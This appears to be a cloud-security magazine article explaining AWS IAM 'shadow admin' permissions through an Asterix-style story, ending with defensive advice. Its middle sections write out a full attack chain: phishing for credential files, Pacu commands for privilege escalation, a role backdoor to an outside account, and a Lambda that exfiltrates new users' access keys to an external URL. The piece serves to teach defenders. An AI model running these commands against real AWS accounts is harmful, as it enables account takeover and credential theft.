Shadow Boxing

The year is 50 BC. Gaul is entirely occupied by the Romans. Well, not entirely … . One small village of indomitable Gauls still holds out against the invaders.

Like those indomitable Gauls, you face down legions of mysterious invaders who would love to conquer your Amazon Web Services (AWS) resources. In this article, I look at how many AWS attacks happen and what you can do about them, but before I get started, I'll take a moment to explain how permissions work on AWS.

AWS Permissions

A principal, which can be a human or a machine, makes a request for an action on any AWS resource. Principals must authenticate with their credentials to send a request to AWS, unless the resource permits anonymous access, which is not the case for most services. The principal can use the root user or an Identity and Access Management (IAM) user. Of course, being the root user is not security best practices.

Once you authenticate, you can only access resources on which you have some kind of authorization. During authorization, AWS checks for policies that apply to the request, which it then uses to determine whether to allow or deny the request.

This topic can get very complex, so I will not dive deep, but the concept is very similar to, for example, Microsoft authentication, where you need to have a user account and permissions to access any resource on the network. Cloud providers have an extensive selection of permissions or capabilities that makes it difficult for admins to use the principle of least privilege when configuring policies for users and roles.

The Israeli cybersecurity company CyberArk explains, "… there are many cases where Shadow Admins might be created. Despite the appearance of limited permissions, a Shadow Admin with just a single permission has the ability to gain the equivalent power of a full admin" [1].

I refer to the term shadow admin often in this article. Simply, a shadow admin is a user or role with some assigned capabilities, that, if not configured properly, can escalate privileges to full administrator. A shadow admin account is thus nearly as dangerous as the root account, and it receives far less attention from security staff.

CyberArk has stated that 10 shadow admin permissions exist, but as you will see later, there are even more than that. CyberArk has released an open source tool called SkyArk [2] with which you can scan Azure and AWS environments and identify shadow admin accounts. To scan your account, you just need to set up a user account with IAM read-only permissions, because it just needs to check for the assigned permissions of all users and roles, and create an access key for that account.

SkyArk is useful for identifying accounts that could be vulnerable to privilege escalation. The results of the scans can be used by defenders (blue team) and pentesters (red team) to test the security of their company and remove all shadow admins with unnecessary permissions. However, bad actors can also use the results to break into cloud accounts. As a security professional, you need to know all those permissions and how to protect and detect them. Table 1 shows the AWS permissions that CyberArk identifies as shadow admin permissions.

Rhino Security Labs [3], the creators of the open source web penetration framework Pacu [4], takes a more expansive view of what permissions are dangerous enough to be shadow admin permissions. The Rhino team lists 21 shadow admin permissions. Table 2 shows the additional permissions that made the Rhino list.

The people at Rhino Security Labs have done a brilliant job creating a Python script, aws_escalate.py [5], to identify all 21 shadow admins.

Preparing the Invasion

Julius Caesar wanted to launch a big invasion into Gaul to defend Rome and earn glory for himself. However, nowadays, motivations are different, and they include espionage, spamming, disruption, fun, credibility, theft, abuse, financial interference, revenge, and so on.

To get the key to the castle, a bad actor needs to get a user's credentials first. The easiest way would be to ask the user, but perhaps that option will not succeed, so the attacker might need to take a unique approach.

As you know, developers, software engineers, DevOps folks, and others that usually interact with AWS resources sometimes keep credentials in clear text on their computers, unless they make the effort to deploy some sort of protection like password vaults, but I'll assume those are few. Employing a very common hacking method like phishing is a likely way the attacker will take the first step.

For instance, the attacker could browse to Gmail or any other email web provider and create an account with a name that is descriptive of an existing company. (I will not give you any specific ideas here.) Next, they could get a list of recipients for the email that might comprise a small team of developers or employees with similar roles, which can probably be found on LinkedIn. Other methods are suitable for finding credentials in the wild. For instance, intruders can use a tool called shhgit [6] to find secrets and sensitive files across GitHub code.

The attacker can now send a fake calendar appointment with a subject line that is likely to get the attention of the recipient (e.g., a salary increase or a free Christmas dinner). In the body of the message is a link to a URL that everybody would love to click. Malware could then be deployed, or the link could redirect the legitimate traffic to a fake AWS console login.

An attacker who succeeds in compromising one user can then navigate to the user profile .aws folder and get the credentials file that contains the AWS access key and secret. Yes, it is all in clear text.

Exploring the Castle

Once the attacker has slipped through the defenses, the next step is to use scanners to do some reconnaissance and collect information about the castle.

The two tools I described previously, SkyArk (PowerShell) and aws_escalate.py (Python) will scan for accounts that offer the best possibilities for privilege escalation. SkyArk provides a much more complete report, but it won't find some of the additional shadow admin permissions identified by aws_escalate.py. The two tools complement each other.

SkyArk will work for both AWS and Azure. If you are interested in exploring SkyArk, the instructions to install it are on its web page and are very straightforward. The user running the scan needs to have IAM read-only permissions, so the attacker needs those capabilities, and it is still possible to use the Pacu tool to see if the current user could be vulnerable.

In a PowerShell command prompt window (CMD), run the following command under the SkyArk folder:

PS C:\SkyArk> Scan -AWShadowAdmins -AccessKeyID AKIA5DWQIQ2MR6OXXXXX -SecretKey BYptvF+QF2kk8W4DJUiu5xQPffr34AFqYptXXXXX -DefaultRegion us-west-2

AWShadowAdmins is just a module of the program, but you might find other modules interesting, as well (e.g., AWStrace, which analyzes logs).

Figure 1 shows some very complete report output, but the attacker is most interested in the shadow admin line and needs to discover which user is associated with which permission. The golden ticket is to find a user with a vulnerable shadow permission.

The next step might be to use Pacu. Installation is very straightforward by following the instructions on their website. Once installed, you should run it and configure the first session with the access key and secret. If you type whoami and hit Enter, the tool will give information about the access key being used, but it is not enough information to play around. To get more information, run the first module to enumerate permissions by typing

run iam__enum_permissions

Now you know the stolen credentials were from Cleopatra (Figure 2).

If you run whoami again, you will get much more information, but the most important thing you could discover about Cleopatra is a shadow permission or capability (Listing 1).

01 "Policies": [
02     {
03       "PolicyName": "Shadow_CreateNewPolicyVersion",
04       "PolicyArn": "arn:aws:iam::901306156697:policy/Shadow_CreateNewPolicyVersion"
05     }
06 And:
07 "iam:SetDefaultPolicyVersion": {
08     "Resource": [
09       "*"

You could also run the aws_escalate.py tool with the access key and secret previously stolen from the user to generate a CSV output file that is very simple, but concise and directly to the point. As you can see in Figure 2, the tool scans all the users and lists all the associated permissions, but if some confirmed Shadow permissions exist, it will show them onscreen.

According to the creators, a blank means the associated account is not vulnerable). Confirmed means that the privilege escalation method works for that user, and Potential means that the privilege escalation method might work, but requires further investigation.

Cleopatra's Power

The scans have uncovered that the hacked user was Cleopatra and that the user has two Shadow permissions: CreatePolicyVersion, and SetDefaultPolicyVersion. With the combination of these permissions, an attacker could escalate permissions, and the first step is to escalate privileges to become a full AWS admin of the account.

With Pacu, you can run

run iam__privesc_scan

from the console, which will search for vulnerable permissions and automate the escalation. The full output of the command is shown in Listing 2.

Pacu (personal:Cleopatra) > run iam__privesc_scan
  Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: CreateNewPolicyVersion
[iam__privesc_scan]   CONFIRMED: SetExistingDefaultPolicyVersion
[iam__privesc_scan] Attempting confirmed privilege escalation methods...
[iam__privesc_scan]   Starting method CreateNewPolicyVersion...
[iam__privesc_scan]     Is there a specific policy you want to target? Enter its ARN now (just hit enter to automatically figure out a valid policy to target):
[iam__privesc_scan]     No policy ARN entered, now finding a valid policy...
[iam__privesc_scan]       1 valid group-attached policy(ies) found.
[iam__privesc_scan]     Privilege escalation successful using method CreateNewPolicyVersion!
  The current user is now an administrator ("*" permissions on "*" resources).
[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:
  Privilege escalation was successful

Persistence

Many actions help maintain access to an AWS account, even if the compromised user is removed. Gaining the trust from a privileged role is difficult to detect unless you have the proper defenses in place; then, the attacker can assume a role with a different AWS account.

Suppose the attacker adds a new trust policy into a privileged role that will allow another AWS account to assume it. First, check the report generated from SkyArk, where you can see at least three roles with high privileges. Suppose the roles are Druid, Poet_Role, and Soldier.

From the console, run the command (Figure 3):

run iam__backdoor_assume_role --role-names Soldier --user-arns arn:aws:iam::18xxxx010:root

The role name, in this case, is Soldier, and the attacker's account is ARN. The last word, root, at the very end of the command means that the attacker can use any resource (e.g., an IAM user, EC2, Lambda function, or any other resource) from this account to assume the Soldier role.

Cleopatra is now a full administrator and has added a trust policy to a privileged role. Now, the attacker could go even further and have a mechanism to do credentials exfiltration from all newly created users and send them in clear text with HTTP.

Exfiltration

Cleopatra is now a full queen but wants to control everything and rule all soldiers. The next step is to get all access keys from all newly created users on the AWS account. The attacker can create two resources or services: One is a Lambda function and the other is a CloudWatch event. All this will happen in an automated way, so there is no need to create them manually.

The CloudWatch event will listen and wait for an API call named CreateUser. When this happens, a serverless application will trigger the event and run a function to create a new set of access keys into the user and send it, together with its secret, via an HTTP endpoint, which could be a Netcat listener, a website, a security information and event management (SIEM), and so on.

Pacu automates everything and will use a role to create the function and configure the CloudWatch event. You just need to specify the endpoint URL to which you want the secrets sent.

Going back to the report, you know that there is a role named Poet_Role that has administrator access, which would be enough for the Lambda function, CloudWatch creation, and access key generation for IAM users.

With a SIEM (in this case, Sumo Logic) tool, you can receive HTTP events and create an HTTP listener endpoint and a CloudTrail trail on the us-east-1 (North Virginia) region, where the Lambda function will automatically create the malicious trail. This is a requirement if a trail did not exist yet in that region.

From the Pacu console, and using the credentials from Cleopatra, run the command:

run lambda__backdoor_new_users --exfil-url <sumoLogic endpoint url>

The newly created Lambda function is listed in Figure 4.

All you have to do now is wait for the credentials to be sent to the system and use them later, if needed; you can assume that the AWS account has been fully compromised and is under your complete control.

A new user has been created, and, as you can see in the user interface, the new account has two access keys: one default created by AWS on the initial user creation, and the second one created by the Lambda function (Figure 5). Figure 6 shows the new set of credentials on the SIEM.

Defending the Empire

The inhabitants of the small Gaulish village have a hidden secret that can only be passed down through the Druids by word of mouth. A magic potion gives the Gauls a superpower, like an AWS full admin. For decades, Romans have been trying to get the ingredients with no success.

Now that you know how malicious people can leverage these tools of the AWS environment to compromise your account, it is time to get some excellent defenses and detections in place.

Most organizations use a prevention-focused security approach. This strategy to security is a more old-fashioned method than detection-based security. By deploying security controls in the cloud, like Security Groups, network access control lists (ACLs), endpoint detection and response (EDR), antivirus, vulnerability management processes, web application firewalls (WAFs), and other methods, a company can dramatically decrease the probability of being breached; however, these strategies are not always effective. Some small companies that do not have the budget to hire security professionals tend to focus on these methods of prevention. Of course, no perfect tool exists that can prevent all attacks.

With detection, you are just watching how thieves break into your house. Prevention and detection complement each other, allowing an organization to address potential threats that may happen. The ingredients to the magic potion include ample portions of both prevention and detection.

Whenever you need to apply a policy, be very careful with the "Resource" section. For example, the following policy, if replaced by built-in variables, follows the principle of least privilege, which means that instead of using an asterisk (*) for all resources, you can use the "aws:username" variable to allow users to perform the same action while still limiting the scope to themselves. To be clear: When applying a policy, if you enter a wildcard in the resource section, you allow the specific action to everyone, which is much too permissive. The goal should be to limit the scope as much as possible to a specific user or resource.

One example is an IAM policy to allow changing the password. If you enter the * in the resource section, any IAM user would be allowed to change not only its own password, but all user passwords, including any privileged user or administrator, and that is how privilege escalation works. The alternative is to have something like the following in resource section:

"Resource": "arn:aws:iam::account-id-no-hyphens:user/${aws:username}"

The bad practice of allowing any actions to all resources is directly related to the vulnerability of shadow permissions. Although some good use cases can be found when the resource needs to be set to * (e.g., if you have a team that is responsible for creating users and changing passwords), that situation must be planned carefully, and you need controls in place and some detection mechanism. The AWS documentation [7] lists the variables that could be used in policies (Table 3).

For corporate users, some restrictions could apply to IAM users, like geolocation (IP address range) restrictions, which limit where the actions can be performed (e.g., a VPN connection or within a corporate office). This setting will definitely decrease the threat of someone using access keys to compromise the account. The variable to configure in the policy is "aws:SourceIp", where you can deny or allow specific IPs to make the API call.

Additionally, you can limit by time frame. If you know that users work at 8AM and leave by 5PM, you could restrict any changes to that time range. Of course, this step alone won't save you from attack, but it will narrow the window and provide an additional barrier.

For detection controls, you can use your logs going to your SIEM to create alerts when some of these permissions are used. One good example would be CreateAccessKey. If you configure an alert that triggers when a user creates an access key for another user other than himself, you will receive notification by email or SMS, which will allow you to respond promptly to the attack – possibly while it is still in progress. The detection control used will depend on your own environment, because every organization and its needs are completely different. AWS CloudTrail logs will help, as well as services like Amazon GuardDuty [8], which is a threat detection system.

If you find something suspicious when monitoring the usage of access keys and temporary tokens on your accounts, you must investigate further. A suitable tool that is also part of the CyberArk arsenal is SkyWrapper [9].

Conclusion

The AWS identity and access management system is the main entry gate for malicious attackers, so you should use the principle of least privilege on your IAM accounts. To identify misconfiguration on your accounts and remediate them before someone else does, use scan tools periodically. Also, keep a close watch on changes to permissions and create alerts to help you respond to any unauthorized change. Pacu can facilitate red teaming exercises from time to time.

If you already have some findings, you should already have some logs. With that information, you are now ready to create security alerts, but you do not want to waste time and money responding to noisy false positive alerts, so choose your alerts carefully and keep a special focus on any events that could be directly or indirectly related to shadow admin permissions.